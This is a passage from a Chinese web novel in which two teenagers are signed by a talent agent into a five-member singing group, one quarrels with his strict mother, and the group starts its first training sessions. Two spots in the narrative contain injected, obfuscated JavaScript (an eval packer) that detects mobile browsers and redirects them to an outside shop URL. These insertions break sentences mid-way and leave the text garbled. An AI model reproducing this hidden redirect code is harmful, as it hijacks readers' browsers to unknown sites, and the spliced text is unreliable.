邱以星和孔栩回去等消息,一连几天都没得到节目组通知,原本孔栩胸有成竹,区区比赛,邱以星就算再不济,总不至于连海选都进不了,可眼下这局面似乎在啪啪打他的脸。 孔栩闷闷不乐地长叹一声,罗鸣玉诧异道:“怎么了?欠人钱了?” “你不懂,”孔栩恨恨地说,“一帮瞎子。” “谁瞎?”罗鸣玉牛头不对马嘴地回复,“你说柴晓驰?他最近是不是老眼昏花,昨天改错我两道题。” “不对,一帮聋子,国内乐坛算是完了,”孔栩喃喃自语,“难怪现在那么多难听的歌。” 邱以星回过头,从兜里抓了几袋牛肉干和海苔卷,偷偷放孔栩桌上。 最后一节课,柴晓驰把题讲完让他们自习,孔栩一边干嚼牛肉干,一边写课外习题,突然间,教室里的灯啪的一下灭了。 虽不至于伸手不见五指漆黑一片,可这是一个阴天的傍晚,教室里暗沉沉的,书上的字不贴着眼球看是看不清楚的。 大概这是一天中最令人激动的时刻,不知谁大声欢呼了一声,教室里充满了兴奋的窃窃私语。 柴晓驰说了一句“安静”,没起到什么作用,他又说了一遍:“小声点儿,那几个下面看手机的,光露出来了,再拿出来我就没收了。” “老师啊,看不见怎么学习,要不直接放学得了。”有人吆喝说。 “你想得美,”柴晓驰说,“看不见就挨个背书,就从你开始。” “不要啊老师,”那人哀嚎,带起整个班开始惨叫,大家都隐没在黑暗中,借着黑暗张开自己从众的狗胆,“就剩二十几分钟了,您行行好,让我们放松放松吧。” 柴晓驰站在讲台,站直了:“说吧,你想怎么放松?” “您给我们唱首歌吧?”有人大胆提议。 “我给你唱歌?”柴晓驰被气笑了,“我给你表演个单手倒立怎么样?” 班里掀起一片乐不可支的哈哈声,柴晓驰清了清嗓子,说:“这样,给你们放几首歌听,谁要点歌?” 罗鸣玉以压倒性的嗓音优势取胜,柴晓驰打开手机的音乐播放器,班级里嘈杂的声音立即低了下去。 听几首歌而已,也不是没听过,但大家在昏暗的环境中一起听歌,就别有一番风味了。 此刻孔栩忽然拉了一下邱以星的衣领,邱以星默契地往后一靠,孔栩低声在邱以星耳边说:“邱以星,学校停电,放学后我去旧书店,你去不去?” “去。”邱以星不问他去做什么,“在外面吃?” “嗯,你以后别带牛肉干,太抵饱,我压根不饿。”孔栩在他耳边说悄悄话。 面对此情此景,罗鸣玉见怪不怪,邱以星不作妖,孔栩不跟他斗嘴,世界和平清净,她已经别无所求。 因为放着歌,他们没注意到窗外传来一阵哒哒哒清脆的高跟鞋声。 一双七厘米Fendi当季最新款高筒靴如履平地般地停下了高一二班门口,女人穿着一身黑色皮衣,挎着一个爱马仕白色方形包包,留着利落的齐肩短发,烈焰红唇,浓眉大眼,乍一看仿佛是某个来走秀的大明星。 她在门口等了片刻,班里已经开始齐声唱歌,附近的班里也相当热闹,不是在讲相声,就是在听英语搞笑电影,等到铃声一响,女人推了推眼镜,推门而入,面对着一片黑暗中的同学们,字正腔圆仿佛播报新闻似的说道:“你们好,请问,邱以星和孔栩这两位同学在吗?” 柴晓驰以为女人认识他们,最近他俩走得很近,做什么都一起,说不定是家里人带他们出去吃饭,便说:“他们在呢。你们俩赶紧收拾书包,天气冷了,有人来接你们,真是幸福啊。” 邱以星和孔栩则是对视一眼,互相从对方眼中读出:这谁啊? 两人便飞快收拾好书包,跟着女人一块走出了校园,外面要比里面亮多了,两人再次确认,他们不认识她。 女人穿着靴子也只有一米七左右,可气场仿佛两米八,她站在马路边上,对两人说:“你们好,我叫项汝怡。”她低头看了眼时间,“到饭点了,我们找个地方边吃边聊怎么样?我请客。” 孔栩警惕地问:“聊什么?” “聊一聊《声而逢时》的海选,”项汝怡朝他一笑,“还有一份对你们百利无一害的合同。” 最后两人选了一家学校附近的肯德基,一人点了一份套餐,自己出钱,并没有让项汝怡真的请客。 项汝怡象征性地点了一个汉堡和一杯可乐,三人上二楼找了一个僻静的角落坐下来。 孔栩心里已经有了计较,既然找上门,说明邱以星入围海选是没有问题的,他和邱以星一口汉堡一口薯条,坚决不先开口。 项汝怡等了好一会儿,然后说:“刚刚我说过我叫项汝怡,目前是双陈娱乐公司的经纪人。” 孔栩“哦”了一声,没有多大兴趣的样子,项汝怡又说:“徐如夜听过吧?他的经纪人苏虹,是我的好朋友。” “哦?”孔栩稍微提起一点兴趣,项汝怡继续说:“我们公司打算推出一个歌手组合,我认为你们两个很合适,你们有没有兴趣考虑一下?” “什么意思?”邱以星擦了擦嘴巴,“歌手组合?就我们两个人?” “一共五人。”项汝怡说,“目前组合确定的有一位男生和两位女生,都在上高一,年纪跟你们应该差不多大。我就不说那些虚的了,我想你们既然参加音乐选秀,一定是抱着能够出道的想法去的,如果你们加入我们,就不用辛辛苦苦参加比赛,我们会给你们最好的培训,每年出一张专辑,还会让——” “等等,”孔栩的手机在项汝怡眼前晃了晃,“我在网上查你们公司名,怎么什么都没查到?” 项汝怡的面容依然自信:“我们是一家刚成立的公司。” 孔栩可不是好糊弄的:“那说明你们没有任何成功经验啊,而且我怎么知道你是不是在骗我们?万一我们签了什么‘不平等条约’,又花了时间又浪费了金钱,最后却一无所获,那不是很好笑吗?” 项汝怡泰然的面孔露出一丝裂缝,她是抱着十二万分的诚意过来找人的,自从陈颂的事被安排到她身上,她一直亲力亲为。 给太子找伴读这事吧说大不大,说小也不小,虽然不知道太子会玩到什么时候,但眼下她所有的精力都放在上面,主要任务也只有这一个。 于是她点点头,微笑道:“我理解你们的顾虑,毕竟一个陌生人找上门说要跟你们签经纪约,让你们出道当歌手——怎么听怎么不靠谱。我们的合同正规透明,你可以找律师看合同,而且由于你们未成年,合同会跟你们监护人签,你们父母看过就知道这绝对不是一份‘霸王条款’。 “出道当歌手应该是每个热爱音乐的人的梦想,你们不想你们的歌被录在专辑里全球发行被所有人听见吗?我们还计划邀请徐如夜写你们第一张专辑的主打歌,有了歌神的加持,我想即使此前没有成功经验,也一定不会差到哪里去。” 项汝怡见两人的表情松动,继续说:“如果你们担心学业,我们会请毕业于双一流高校的老师辅导你们学习,这些都算作是公司福利,不额外收费。” 邱以星一个头两个大, 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徐如夜多年不出现在公众视野,自从他成立独立工作室后,就不再像之前那样疯狂工作,有人传言说他与培养他的老东家闹掰了,也有人说他性情孤僻难以沟通,跟亲朋断交老死不相往来,还有更离谱的说他生了大病,正在疗养。 这些传言并非空穴来风,徐如夜早年间由于丧心病狂地工作还债,导致身体被压垮,一独立出去后就开始了漫长的治疗,这几年状态好多了,气色也恢复成健康模样。 他年纪也就比孔栩大个十多岁,少年成名,名利场沉沉浮浮一遭竟然还不到三十。 孔栩和邱以星凑在一起,跟徐如夜打了个结结巴巴的招呼,徐如夜看上去平易近人,温和地对孔栩笑着说:“陈颂给我发了你们海选的那段视频,你用的那把马丁D-45是我的,手感不错吧?” “啊?”孔栩更震惊了,简直不知道要说什么才好,脑子里一团乱麻,“那把吉他是您的?我就说怎么那么像……” “以后如果合作,你可以拿去玩,总比让陈颂那个小子乱弹强。”徐如夜看向邱以星,“你也不错,但是没有受过专业训练,或者说在很小的时候有过音乐学习,你在演唱上很有天分,听陈颂说那首歌是你们自己写的,我听了,虽然青涩,但是很有年轻人的想法。希望你们不要放弃这条路,继续加油。” 最后两人点的套餐都没吃完,孔栩是下午牛肉干吃多了,邱以星则是心情震荡,没有胃口。 离开肯德基后,项汝怡给了他们一人一张名片:“你们如果考虑好,随时给我打电话。不过请尽快,时间不等人。” 说完她便走进一辆鲜红的保时捷,绝尘而去。 “邱以星,”孔栩梦游一般地对邱以星说,“快来打我一下,刚刚我是不是在做梦?” 邱以星便屈指往他脑门上一弹:“疼不疼?” “不疼,”孔栩眨眨眼,“一定是我在做梦吧。” “是我没用力,”邱以星笑,“我也看见了,不是在做梦。” “那你怎么想?” “我心里有点乱,”邱以星说,“没想好。” “那我们晚上回去再想想。”孔栩和他肩并肩走到公交站台,忽然间感叹一声,“唉,没想到徐如夜还是这么帅,还有那竟然是他的吉他,我弹了徐如夜的吉他诶,这辈子都够本了……” 邱以星一听他这么说,就知道他心里什么想法了。 42. 第 42 章 孔栩一回家就拿手机在网上搜“项汝怡”、“徐如夜”和“苏虹”这几个名字,果不其然让他搜到不少新闻。 他了解到徐如夜曾经是行容传媒的艺人,苏虹与项汝怡是行容传媒的经纪人,苏虹只负责徐如夜一个艺人。后来徐如夜与公司闹得不欢而散,单独成立了响流工作室,经纪人苏虹也陪他一同出走。 几乎在同一时间,项汝怡也离开了行容传媒,外界一时间议论纷纷,说徐如夜心机深沉,联合两大经纪人同时背叛老东家,又说公司老总被惹毛,在各大饭局上扬言封杀他们。 徐如夜确实沉寂过一阵,不过谣言很快不攻自破,他发行新单曲,录制音乐综艺,上各种访谈节目,又上了当年度的春晚,热度只增不减,看来离开老东家并没有对他这种级别的音乐人有丝毫影响。 奇怪的是项汝怡,她离开公司后跳槽到另一家经纪公司,带火了几个艺人,这些艺人也是如今耳熟能详,经常能在电视屏幕上见到的——可今天听她说,她现在又加入了什么双陈娱乐,跳槽这么频繁,是有什么苦衷吗? 他在网上没有找到任何跟这家公司有关的资料,似乎这公司只存在于项汝怡口中。 项汝怡这种咖位的大经纪人,怎么会屈尊去这样一个籍籍无名的小公司呢? 孔栩想不通,他始终呆在象牙塔,未曾经历过社会的毒打,平时也不关注什么娱乐新闻,自然不知道其中的各种乱七八糟的门道。 如果项汝怡说的那些话是真的,他的确可以考虑考虑,出道、当歌手,也不乏是一条出路。 只是这件事发生得太过突然,好像天上有一块大馅饼在万千人群中偏偏砸中他,他有种脚不沾地的不真实感。 他点开微信,找到置顶的“全天下最好的邱以星”,给他发了一条消息:睡了吗? 邱以星回复得很快:没。 孔栩:我也没。 邱以星:睡不着? 孔栩:不想打字,想跟你打电话。 几乎是发过去的下一秒,邱以星的视频电话就来了,孔栩接起电话,仰倒在床上,看着视频里坐在椅子上的邱以星,问他说:“邱以星……你想好了吗?” “想好了。”邱以星的声音听起来有些发沉。 “嗯?”孔栩漆黑的发丝有一绺搭在眼睛上,“是什么?” 邱以星说:“跟你一样。” 孔栩略微惊讶:“你知道我什么想法吗?” “大致猜到了,不过不是这个原因,”邱以星发自内心袒露真实想法,“如果签约当歌手,我们可以一起唱歌写歌,不当歌手,我们也可以继续在琴房练琴写作业。” 孔栩侧过身,脸压在床上,脸颊挤出一团软乎乎的肉,声音听起来比平时要沙哑一些:“我想过的,当艺人不比当学生,如果是我一个人,压力肯定会很大,毕竟我对试卷和习题很有自信,可是这之外我几乎一无所知。这些对我来说太陌生了,我感到害怕……不过想到你和我一起,我就不会害怕了,你跟我是一样的感受吗?” 邱以星点点头,孔栩误解了他的意思,但是没关系,他说:“没错。” 孔栩轻轻呼出一口气,逻辑自洽地安慰自己:“或者把它当成一项社会实践,如果不耽误学习,我觉得体验一下也没有什么不好的。” “嗯。”邱以星望着他的眼睛。 “我还担心我妈妈那边……监护人签字,她说不定不同意。”孔栩又说。 邱以星:“她对你很严格。” 孔栩惨淡地笑了一下:“我不仅是她的儿子,更是她的学生,她给我安排好一切,让我按照她给我规划的路径生活,稍有违背就是叛逆,不听话。我有时候真的很怀疑,她压根不爱我,爱的只是一个她假想中的完美幻影,我不完美,她就不再爱我了。” “别这么说,何老师带高三,压力很大,平时太忙了,可能没有太多时间关心你。她是你妈妈,怎么可能不爱你呢。”邱以星嘴里这么说,可却在心里默默反驳,并非所有父母都爱自己的小孩,他自己就是其中典型的一例。 孔栩呼出一口气,把碍眼的头发撩开,朝邱以星笑了一下:“邱以星,人生真奇妙,没想到有一天我会跟你说这些……挂电话吧,明天见。” “你先,”邱以星说,“明天见。” 孔栩便挂了电话,他久久地躺在床上,听着外面何斯清回家的动静,开门,换拖鞋,走进客厅,放下包,拿出一沓在学校没改完的试卷继续批改。 何斯清正低头改试卷,她鼻梁上架着一副眼镜,听到孔栩从卧室里出来,抬头纹挤在一起,面露不快地说:“你在家?手不是好了吗,怎么还不去练琴?” 孔栩的喉咙有些干涩,他两只手不知该怎么放,只好垂在腿边,他走上前,轻声说:“妈。” “干什么?”何斯清察觉到孔栩的语气不太对劲。 临到此刻,孔栩此前面对何斯清的那股硬气荡然无存,他支支吾吾地开口说:“有件事……” 与项汝怡料想得差不多,这两个孩子最终同意签约,只是签约过程中有一丝不愉快,不过好在她都顺利解决了。 她将组合成员名单发了一份给日理万机的陈闵,陈闵的秘书在他开完会后,将名单递给他,他看后,给项汝怡回了一通电话:“都交给你了,你办事我放心。还有我那不懂事的弟弟要是不听话,尽管替我抽他,不用顾念我的情面。” 项汝怡笑道:“这可是您说的,我要是真抽了,您到时候可别埋怨我。您也知道,我这人较真得很,既然把新公司的事交给我,我必定不会有二心,但如果我们意见不一致——那还是以我的意见为主,毕竟您从未涉足过娱乐行业,不知这里的水是深是浅。” 陈闵包容大度,也是个任贤为亲的人,他研究生毕业后正式接管陈氏的家族产业,不论是海外的公司,还是国内各大分公司的产业都管理得井井有条,但凡能赚钱的行业他都能快准狠地掺和一脚,除了影视娱乐版块还有空缺,如今这空缺也被补上了。 他相信项汝怡独到的眼光与出众的业务水平,便将新公司的大小事宜一并交给她:“都听你的,我不多嘴,用钱的地方你直接跟我秘书沟通。” 项汝怡结束与陈闵的电话后,组建了一个私密小群,将组合成员都拉了进来。 她率先发言说:“大家好,这是组合的群聊,以后有事可以在群里沟通。” 项汝怡给群备注的名字是“LUMINFIVE光5”,没过两秒钟,一个叫做“笑容儿特别美”的人,将群名修改为:国内无敌青春少男少女。 不过很快这人意识到自己改错了备注,在群里发了张猫猫吐舌的表情包:抱歉! 随后此人又将群名改成:宇宙无敌青春少男少女。 最后还是项汝怡把名字改了回来,并设置只有群主与管理员才能更改群名,她在群里艾特“笑容儿特别美”,严肃道:“陆笑蓉,别乱改,这是工作群,不要嘻嘻哈哈的。” “笑容儿特别美”发了一张猫猫流泪的表情包:知道了。 另外一个叫“song”的人发了个:哈哈。 项汝怡又说:“请大家将昵称修改成自己的姓名。” 孔栩是放学后才看见项汝怡在群里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17061660|194219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发的消息,他和邱以星修改好名字,点进群成员一看,还有另外三人,分别是陆笑蓉,陈颂和夏桃杉。 如果不出意外,这三人就是他和邱以星未来的队友了。 他也随大流发了个可爱表情包,不出片刻,群聊成员陆笑蓉向他发来好友申请,孔栩同意后,她又发来一个群聊邀请,孔栩点进去,立即加入了一个新群聊。 笑容儿特别美:大家好!这是屏蔽了经纪人的小群,大家可以畅所欲言! 群名称是:宇宙无敌青春少男少女。 孔栩:…… 他把邱以星拉进新群,不能让他一个人无语。 项汝怡在大群里发了一份他们近期的行程安排,有半个月的特别训练,十二月中旬进行新歌录制,歌曲录制好后,会上线各大音乐平台,同时推出他们这支歌手组合,届时希望他们做好心理准备。 陆笑蓉隐隐激动:准备迎接我崭新的歌手生涯!鼓掌.jpg 项汝怡:不是,对于新出道的组合而言,很有可能扑得毫无水花,有徐如夜的加成,说不定热度都被徐如夜吸引去,你们别抱着一出道就成大明星的想法,很有可能会失望。 陈颂:公司不买热搜的吗? 项汝怡:钱都花在专辑制作上了,别的就只能稍微次点儿。 陆笑蓉发了一张猫猫尖叫的表情包。 陈颂:可真行,够抠门的。大拇指.jpg 项汝怡:微笑.jpg 孔栩和邱以星在群里安静如鸡,项汝怡交代完关键事项,随后便没人在群里说话,小群倒是活跃,孔栩不习惯跟不熟的人聊天,便将小群设置成免打扰。 他俩放学后照例在琴房呆了片刻。 邱以星打开琴盖练琴,孔栩则是在旁边写题,写了一半,跑过来跟邱以星挤在一张琴凳上,一起弹《卡农》。 由于邱以星进步神速,他们可以进行一些简单的四手联弹,孔栩的手自从上次在海选现场弹了吉他后,可能使用过度,恢复得一直不是特别好,时不时会有些刺痛。 他没告诉邱以星,怕邱以星自责担心,同时减少弹琴次数——何斯清已经不再时时刻刻盯着他练琴了。 何斯清似乎已经放弃他,孔栩不敢细想,他甚至一直不敢回忆那天他找何斯清坦白时,何斯清脸上难看至极的神情。 何斯清问他是不是真的不弹钢琴了,孔栩的手心紧紧攥着,攥出一层热汗来。 好像时间在那一刻静止了,不知过了多久,何斯清深深地叹了口气:“都随便你吧。孔栩,你这么有主见和打算,等你成年了,就搬出去吧。” 没有谩骂与指责,好似平静接受,却又与他划分界限。 没错,何斯清是个负责任的母亲,任劳任怨养他到十五岁,在自己能够给予的范围内给了他最好的教育,请一流的钢琴老师教他弹钢琴,他还这样不识好歹,比白眼狼还不如。 何斯清也累了,好像看清孔栩究竟是个什么样的人,轻声说了一句:“你真不愧是孔嘉年的种,你做好决定就不要后悔,我对你问心无愧了。” 孔栩强行忍着即将夺眶的眼泪,说:“妈……” 何斯清朝他摆了摆手,不愿再跟他多聊。 他心里疼得像是钝刀在割,虽然何斯清平时也说过难听的话,可与之相比,只能算是小小摩擦。 他一方面觉得何斯清在开玩笑,另一方面却又情不自禁地感到恐惧,他甚至开始后悔,如果他收回不继续弹琴的话,何斯清是不是会原谅他? 孔栩最终是没有说出口,他梗着硬邦邦的脖子,说:“行,搬就搬。” 43. 第 43 章 正式签约后,学校第三次月考的成绩也出来了,孔栩依旧牢牢霸占年级前三,邱以星则是班级中游水平,在整个年级游出老远,完全排不上号。 邱以星目前的学习目标变成“不垫底、不给班级拖后腿”,柴晓驰也没再过找他麻烦。 他父母知道他的排名后,默默对视一眼,都从对方眼中读出一句话:读书这条路子走不通了,说不定出道当艺人能稍微挽回列祖列宗的颜面。 另一边,项汝怡给苏虹打去电话,询问徐如夜这段时间的档期安排。 苏虹说徐如夜这个死宅在家里已经整整一个月没出门,让她赶紧找点活牵徐如夜出去溜达溜达。 项汝怡跟她东拉西扯一通,笑着挂了电话,心里立即有了成算。 双陈娱乐有限公司是个刚成立的小作坊,公司选址在岚江市郊外一处新兴产业园区内,租用了其中一栋写字楼中的一二两层。 由于产业园区刚开发不久,目前入驻的商户零零散散,这栋写字楼只有他们一家公司,装潢通风一段时间,项汝怡总疑心有气味,成天把办公室的大门敞开着,她用不着担心小偷进来偷资料什么的,毕竟整个公司加上她只有三个人,一个是她助理朱伦,一个是负责打扫卫生的王阿姨。 项汝怡让朱伦负责对外招聘,核心部门的人员由她亲自面试挑选,陈闵甩手掌柜将公司大小事宜一概交给她,项汝怡倍感压力的同时,还感到一丝隐隐的兴奋。 她喜欢跟人打交道的工作,喜欢从零开始将籍籍无名的年轻人们捧上高高的神坛,也喜欢掌控一切的感觉,项汝怡能从中获得巨大的满足和快乐,陈闵给她的权限也非常大,除了陈闵本人,其次就是她。 项汝怡曾经笑话苏虹,说她在徐如夜身边太过安逸早已丧失斗志,苏虹笑着说她带出来一个徐如夜还不够么,让项汝怡有本事也捧一个出来。 可她们都知道,徐如夜是万里挑一的人才,天时地利人和无一不成,项汝怡这种大经纪人不缺人脉与资源,她亲自带的艺人绝大多数都红了,有些是自己作死,昙花一现地红过,有些是努力上进踏踏实实地长红,走入老艺术家行列——到这个阶段,她便感到无趣,失去了挑战性。 陈闵通过人牵线联系她,说自家有个不成器的弟弟,今年刚上高一,不知道脑子里哪根筋没搭对,非要进娱乐圈唱歌,家里人都宠他宠得不行,让他想想办法。陈闵觉得这个圈子太乱,不放心让弟弟随便签黑心公司,于是想单独成立一家娱乐公司,让资深业内人士项汝怡带带他。 项汝怡欣然答应,她跟陈闵的弟弟陈颂见了一面,弟弟如果只看长相,确实是容易获得他人喜爱的类型,很有走红的潜质。 他表明了自己的需求,想组团出道,原因是自己一个人玩太孤单,想让人陪自己一起,最好是唱歌的,他跳舞不行,小时候学过几年乐器,去KTV唱歌还被人夸过是KTV小王子。 “唱歌是谁付的钱?”项汝怡问。 “跟我出去还要别人付钱?”陈颂莫名其妙。 项汝怡心说,你是不是KTV小王子目前看不出来,但你一定是人见人爱的冤大头。 陈颂还提出非分要求,说组合的成员他要自己选,要和自己眼缘的,不然玩不到一块就太糟心了。 项汝怡看了陈颂一眼,老辣的目光立即看出一丝蛛丝马迹:“你自己选?你有心仪的人选了?” 陈颂“啊”了一声,面色微微泛红:“也不是心仪,只是觉得合适而已。” 项汝怡端起咖啡喝了一口,敢情少爷是醉翁之意不在酒,并不拆穿:“可以。” 项汝怡制定好组合接下来一年的发展计划,陈闵不缺钱,可她不能跟无底洞一样事事都伸手要钱,以至于事事亲力亲为,公司刚成立那段时间几乎脱了她一层皮。 核心部门搭建好后,项汝怡于是派司机接组合的五个人来公司见一面,开个会,顺便让他们互相认识一下。 孔栩和邱以星各怀心事地坐在宽敞的商务车后座,到地方后,项汝怡出来领他们进了公司,给他们介绍了A&R总监和运营总监,之后带他们进了一间小型会议室。 会议室里有个很大的电子屏幕,椭圆形会议桌前已经坐了两个人,都是女孩,女孩们抬起头好奇地打量起他们来。 紧接着其中那位散着黑长直头发的女生眼神一亮,指着邱以星说:“啊!我知道你!气象台的吉他手!” 邱以星朝她点点头:“呃,你好。” “你好,我是陆笑蓉。”女生说,“真想不到,竟然会是你,你本人和视频里的气质好不一样啊。” 彼此当了一段时间网友,在群里侃天侃地,乍一见面有些不好意思,陆笑蓉这一句破冰的话,将大家的关系拉近了些许。 她说完咧开嘴,露出一个开朗的笑容,孔栩心想,的确很符合她“笑容儿特别美”的昵称。 孔栩默默地坐在邱以星身边,想必陆笑蓉旁边的那位穿校服的短发女生就是夏桃杉了,夏桃杉性格要温婉一些,只朝他们点点头,嘴角往上提了提,是个不大明显的笑。 又过了一分钟左右,会议室大门被推开,一个踩着平衡车、头戴耳机的男生风风火火地闯了进来,他跳下平衡车,走到孔栩和邱以星面前,两手按了按他们的肩膀,大大咧咧道:“朋友们,好久不见啊。” “是你,”孔栩惊讶,这人不是在《声而逢时》海选现场遇到的那位借他吉他的男生么,“你怎么也在?” “是啊,以后我们就是队友了,请多关照。”陈颂对项汝怡打了个招呼,“项姐,早上好。” 孔栩心里犯着嘀咕,他知道这个“陈颂”似乎来头不小,却没想到他竟然也是组合成员之一。 “都十一点了,早什么早。”项汝怡让他快坐下,她清了清嗓子,双手交叠至一起,“我这人是个急性子,特别不喜欢开会,就长话短说了。先说特训时间,周一到周五晚上七点到十点,周末则是早上八点到晚上八点,楼上有几间员工宿舍,如果当天晚上训练太晚,你们可以临时在这里休息。” 陈颂撇撇嘴,刚要说话,项汝怡抢先开口说:“前期确实很累,但你们目前的水平参差不齐, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17065436|194219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 需要多多磨合,等过了这段时间歌曲录好之后,就给你们放个假。” “这还差不多……”陈颂嘟囔,“每天还要去学校,您知道我学校离公司有多远么?我早上六点就得起床去学校,本来就睡不饱,来来回回这么跑,我又不是超人,大周末的还要来,就不能休息一天么。” 他的话一落,几个人的目光纷纷落在了他身上,项汝怡看他的时间最长,默不作声好几秒,搞得陈颂虚张声势叫起来:“……你看我干什么,我又没说错。” “陈颂,”项汝怡短促地笑了一下,笑容里陈颂读不懂但令他毛骨悚然的威慑,“一个人活在世上,除了吃喝玩乐享福之外,还要承担自己的责任。坐在这间会议室的人,我想你们一定都满怀理想与抱负,渴望出道变成当红歌手才来的。 “陆笑蓉她经常做不露脸的歌唱直播,从下午唱到凌晨两三点,夏桃杉也在鸣风中学读书,你们一个学校,应该认识吧?她一个字都没抱怨。这边两个就更不用说了,我打听过,孔栩常年年级第一,没低过年级前三,好成绩不需要努力吗?邱以星在乐队那会也经常熬夜排练……你这跟我说很苦很累,没时间睡觉?把你的少爷脾气给我收一收,以后开会,迟到一秒钟你给我试试看。” 这女人之前和和气气的,突然间画风一变……陈颂被她训得跟个学生似的,老老实实地将手放在桌上,头深深低了下去,他有点自卑,怎么还混进来一个学霸,让他情何以堪! 项汝怡敲打完陈颂,又给他一颗甜枣:“我也不是骂你,你嘛,我知道,是个有志气有理想的男孩子,你只要好好听公司安排,未来说不定比你哥还能赚钱。” “真的?”陈颂高兴了,“我有那么厉害吗?” 项汝怡不对此继续发表内容:“走,带你们去吃饭,下午你们的声乐老师和舞蹈老师会过来,吃饱喝足才有力气干活。” 陈颂诧异道:“不是说我不会跳舞吗?要舞蹈老师来干什么?我们到底走什么路线,不会是唱跳吧?岂不是跟Shamash撞了?” 项汝怡笑陈颂想得太远:“舞蹈老师负责训练你们的形体,要上镜好看肯定需要提前训练仪态,免得弓腰驼背,被人骂。至于Shamash——你还是别登月碰瓷了。” 陆笑蓉看了一眼陈颂,说道:“项姐,您怎么长他人志气,灭自己威风呀?我看Shamash也没有多厉害。” “嗯,我很欣赏你的自信。”项汝怡不忍心打击他们,“希望你能一直保持初心。” 陆笑蓉握住拳头,目光炯炯:“那是当然,我相信我们LUMIN……什么来着?” “LUMINFIVE,”项汝怡抚了抚额头,“光5,LUMIN是光的意思,这是上面老总起的名字。” “我们一定会有光明的未来,比Shamash那帮臭男人还要红。”陆笑蓉接着说。 夏桃杉扯了扯她的袖子:“我们这里也有男生呢。” “没事,”陆笑蓉语出惊人,“他们还小,不算男人。” 孔栩、邱以星、陈颂:“……” 44. 第 44 章 中午吃完饭,他们五个人在楼上的休息室休息了一小时。 陆笑蓉是个话痨,夏桃杉与她恰恰相反,静悄悄的,半天不说一句话。 两个女孩坐在沙发上看最近很火的一部偶像剧,陆笑蓉大胆点评:“男一号的演技也太难评了,还长着一张整容脸,你看他眼线画得比女主还夸张,是跟女主比美来了是不是?” 孔栩看电视的机会寥寥无几,他家的电视一直充当着装饰空白墙面的角色,此时夸张狗血的情节令他目不转睛,看得紧津津有味,甚至跟陆笑蓉探讨起剧情走向,说到某处两人突然爆出一阵嘎嘎的笑声。 邱以星捏了捏孔栩后颈:“这么好看?” 孔栩的头扭也不扭,认真地说:“好看,比小品有意思。” 陆笑蓉附和说:“没错,你太有品味了,你知道男一号是谁演的吗?是Shamash的池丰,单从面相看就不是什么好货色。” “你跟他有仇?”邱以星听出她言辞里的愤恨。 “血海深仇。”陆笑蓉咬牙,“Shamash之前发专辑,我就说了一句难听,天哪,明明是天大的实话,被他们粉丝污言秽语追着骂了半年,我气不过马上就……” “反击?” “销号了。”陆笑蓉扯扯嘴角,很大度的样子,“哼,我不跟他们计较。” 没过一会,项汝怡喊他们去舞蹈教室,老师已经来了。 他们几个人既兴奋又紧张地推开教室大门。 舞蹈老师的个头不高,长得也瘦瘦的,戴着一副黑框眼镜,笑容腼腆,看着很年轻。 他跟五人做了个自我介绍,说:“你们好,我叫庄恺,你们可以叫我Kevin哥,负责你们接下来为期一个月的舞台形体训练,包括会教你们一些基础的舞蹈动作,可能会有些辛苦,希望大家能认真对待。” 几人齐声礼貌地喊:“Kevin哥好。” 形体训练是枯燥而单调的,在场除了夏桃杉有舞蹈基础,其余人都跟板砖一样,身体僵硬毫无表现力。 光是练习怎么站就是一个小时起步,Kevin看上去小小一只,身形单薄,风一吹就倒,可没想到他做事干脆利落,而且还十分严格,稍微有一点马虎和偷懒都不行。 夏桃杉基本没有什么问题,坐在镜子旁边休息,其余四人表情痛苦地靠墙站立,还不能贴着墙壁。 这比站军姿还累,孔栩感觉自己的脚都站麻了,身体都快要失去知觉,Kevin才大发慈悲给了他们五分钟的休息时间。 即使是休息还不能坐下,Kevin让他们“站有站相”,直接站着休息:“如果以后你们参加真人秀录制,经常会站这么长时间,不要左摇右晃,累了,可以两脚重心换一换,不要让镜头捕捉到你的疲惫。” 陆笑蓉小声嘀咕:“干嘛录真人秀,不录就好了呀。” “这不是你说不录就不录的,”Kevin耳尖,温和地说,“等你们出道之后,公司会给你们接活,你没有拒绝的权利,现在努力一点,以后就能少受点罪。” 他们几人臊眉耷眼,脸上满是绝望,休息时间一结束,又开始练习站立。 整个下午,他们花了三个小时练习站立,Kevin又教他们怎么拉伸肌肉。 他看时间差不多,收拾好自己的包,大家见状都喜形于色,恭恭敬敬送他离开,Kevin临走前留下一句:“明天接着练,我看邱以星差不多了,其余三位继续加油。” “苍天呐!”陆笑蓉的笑容再也维持不住,往地板上一摊,一只手朝半空中艰难地伸过去,半是隐忍半是痛苦地对着空气大喊,“啊,我的腿!你死得好惨呐!” 孔栩已经习惯了陆笑蓉随时随地大小演的做作,视而不见,两条腿发颤,撑着邱以星的胳膊,靠墙坐下。 “你怎么就过了?”孔栩忿忿地看向邱以星,把腿架在他的大腿上,“说好的同甘共苦呢?” 邱以星同样也累得不行,腰酸背痛,陈颂揉着肩膀,疼得龇牙咧嘴:“他不是有舞台经验么,一场演出经常两个小时起步。” 孔栩也有舞台经验,可惜是坐着的经验,他能连续坐十几个小时,站着对他来说费力多了。 邱以星拍了下孔栩的大腿:“拿开。” “不拿。”孔栩不仅没抬走自己的腿,反倒用力往下压了压,蛮不讲理,“帮我按摩按摩,我没有力气了。你已经脱离苦海,我明天还得接着练呢。” 